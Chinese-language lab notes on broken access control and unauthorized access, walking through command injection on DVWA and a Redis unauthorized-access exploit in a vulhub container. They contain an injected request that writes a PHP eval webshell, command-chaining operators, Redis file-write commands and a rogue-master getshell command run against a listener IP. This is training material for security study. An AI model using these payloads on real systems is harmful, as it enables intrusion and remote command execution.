失效的访问控制(越权)
1. 失效的访问控制(越权)
1.1 OWASP TOP10
1.1.1 A5:2017-Broken Access Control
未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据,例如:访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。
1.1.2 A01:2021-Broken Access Control
访问控制强制实施策略,使用户无法在其预期权限之外进行操作。失败的访问控制通常会导致未经授权的信息泄露、修改或销毁所有数据、或在用户权限之外执行业务功能。
1.2 失效的访问控制类别
权限移动方向
1.2.1 水平越权
越权:大概率指的是在同级别账户之间横向移动,并且大概率指的是web应用
1.2.2 垂直越权
提权:大概率指的是操作系统漏洞提权,普通用户获取管理员权限
1.3 攻防案例
1.3.1 DVWA越权
http
POST /dvwa_2.0.1/vulnerabilities/exec/source/low.php HTTP/1.1 Host: 192.168.111.15
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.111.15/dvwa_2.0.1/vulnerabilities/exec/source/
Connection: close
Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded Content-Length: 77
ip=127.0.0.0.1|echo+"<?php+@eval($_REQUEST[777])?>"+>+shell.php&Submit=Submit
1.3.1.1 实操
在部署了DVWA的服务器中打开C盘->打开phpstudy->打开WWW->打开DV,我们关心的是config(全局配置),hackable(在hackable中有flags<被包含的文件>,upload<上传的文件>),vulnerabilities(漏洞点)
启动bp,打开浏览器访问DVWA,点击命令注入(Commod Injection) 进行命令注入,输入127.0.0.1
使用bp进行抓包,抓取命令注入的数据包,发送重发器
发现结果执行了ping命令,ping的是127.0.0.1,说明此处有命令拼接,可执行额外的命令。做命令拼接执行命令的逻辑
sh
command1 & command2 #执行command1命令没有问题的时候再执行command2
command1 | command2 #管道符执行command1的结果作为command2的输入
command1 || command2 #command1执行失败则执行command2,command1执行成功则不执行command2
command1 ; command2 #command1执行结束再执行command2
执行额外命令,使用&进行分隔因为原本数据包中已有&,那么进行命令分隔的&需要进行url编码,选中分隔命令的&按Ctrl+u
点击发送(send)
发现cookie中security的值是low,说明是初级的;承载初级的脚本在vulnerabilities下的exec中的source文件中
打开low.php查看源代码,整个文件没有做访问控制限制,也就是说在退出登录的情况下依然能访问low.php。
复制low.php的路径,退出DVWA登陆,访问
http://192.168.16.136/dv/vulnerabilities/exec/source/low.php
界面为空,针对这个界面就可以进行命令执行。bp找到当前页面的数据包,发送重发器,点击发送(send),页面没有做任何响应。
删除cookie并将数据提交方式改为POST(右键点击Change request method)同时传两个变量:ip=127.0.0.1%26whoami&Submit=Submit
。首先给一个submit保证绕过low.php代码中的if判断,再给个IP就可以进行ping命令的拼接。但是数据包的响应无回显。
返回的结果也无法判断命令执行成功与否,将whoami命令更换为calc(打开计算器),部署dvwa靶场的服务器中弹出计算器,说明命令执行成功。
dvwa要求是需要用户登录的情况下才能回答dvwa里的题目,但是我们刚才的操作时不用登录就回答了dvwa里的题目,虽然没有回显,但是漏洞检测的时候只关心命令是否执行,只要命令执行了,不管有没有回显就说明此处就是未授权访问漏洞(失效的访问控制。)
1.3.1.2 使用漏洞写webshell
执行
echo xujie >xujie.txt
来到/exec/source目录下,有新建的xujie.txt文件。
一般在目标某一目录下新建文件,动作会比较大,使用dnslog.cn平台点击创建域名,对域名进行解析
nslookup 域名
解析完成后查看dnslog.cn平台有没有解析记录,如果有解析记录说明nslookup执行成功了。
创建一句话木马
sh
echo "<?php @eval($_REQUEST[777])?>" >shell.php
访问shell.php,然后使用蚁剑连接
1.4 相关漏洞
1.4.1 目录遍历
目录穿越,目录遍历,Directory Traversal。.Web用户,通过某种方式,可以访问Web根目录以外的文件甚至执行系统命令。
造成目录遍历漏洞的原因:
- 文件包含
- 文件读取
- RCE
1.4.2 未授权访问
未授权访问,Unauthorized Access。==重要资产根本没有做访问控制限制,==导致黑客攻击者可以在没有授权的情况下操作重要资产,包括读写文件,执行命令等敏感操作。
2. 未授权访问
2.1 Redis 未授权访问
不使用账号密码的情况下访问数据库,Redis 未授权:由于数据库未授权访问了,导致敏感数据泄露;数据库能够读写文件,利用未授权访问漏洞进行漏洞攻击的话就可以去写shell,创建SSH公钥,计划任务反弹shell;
2.1.1 Redis 介绍
Redis是非关系型数据库系统,没有库表列的逻辑结构,仅仅以键值对的方式存储数据。
Redis数据库经常用于Web应用的缓存。
Redis可以与文件系统进行交互。
Redis监听TCP/6379
Redis数据库端口号:6379
2.1.2 Redis 简单使用
Redis 未设置密码,客户端工具可以直接链接。
sh
┌──(ajest�� zh-CN)-[~/vulhub/vulhub/redis/4-unacc]
└─$ redis-cli -h 127.0.0.1 127.0.0.1:6379> set name AJEST OK
127.0.0.1:6379> get name "AJEST"
127.0.0.1:6379> config set dir /tmp/
OK
127.0.0.1:6379> config set dbfilename ajest.txt OK
127.0.0.1:6379> save OK
127.0.0.1:6379>
2.1.3 Redis 未授权访问
读取数据库内容 | 读写系统文件 | 执行系统命令 |
---|---|---|
数据泄露 | 直接写WebShell 计划任务反弹shell SSH免密登录 | redis-rogue-getshell |
2.2 Redis 实操
2.2.1 环境搭建
CD到/vulhub/redis/4-unacc目录下,输入
sh
sudo docker-compose up -d
打开Redis环境
2.2.2 漏洞利用
sh
sudo docker ps -a
查看端口号
输入
sh
redis-cli -h 127.0.0.1 #-h指定参数,连接本机的reids数据库
在没有账号密码的情况下直接连上了redis数据库。说明数据库存在未授权访问漏洞。
redis数据库是以键值对进行存储数据的。就可以将redis数据库想象成一个超大的数组。redis数据库经常做缓存。
config set dir /tmp/
config set dbfilename xujie.txt #将数据库存储在xujie.txt文件中,这个文件在tmp下
因为连接的是docker容器的数据库,CD到容器中查看创建的数据库是否存在。
sh
sudo docker exec -it 9a4f956818dc /bin/bash #-it是指容器的id,/bin/bash是指登录到9a4f956818dc这个容器
为了证明创建的数据库是否存在并且具有读写权限。
sh
ls /tmp
cat /tmp/xujie.txt
4-unacc存在主从复制漏洞,而主从复制是可以执行系统命令的,执行系统命令需要一个Exploit脚本
sh
cd tools
proxychains git clone https://github.com/vulhub/redis-rogue-getshell.git
sh
cd redis-rogue-getshell
cd RedisModulesSDK
make
cd ..
python3 redis-master.py -r 127.0.0.1 -p 6379 -L 192.168.16.175 -P 8888 -f RedisModulesSDK/exp.so -c "id"
sh
python3 redis-master.py -r 127.0.0.1 -p 6379 -L 192.168.16.175 -P 8888 -f RedisModulesSDK/exp.so -c "whoami"
此处可以针对数据库的漏洞进行漏洞利用
2.2.3 漏洞检测
利用工具unauthorized用与检测未授权访问漏洞。一共提供了三十八种漏洞检测
sh
cd ~/tools
ls
cd unauthorized_com
python3 unauthorized_com.py -i 127.0.0.1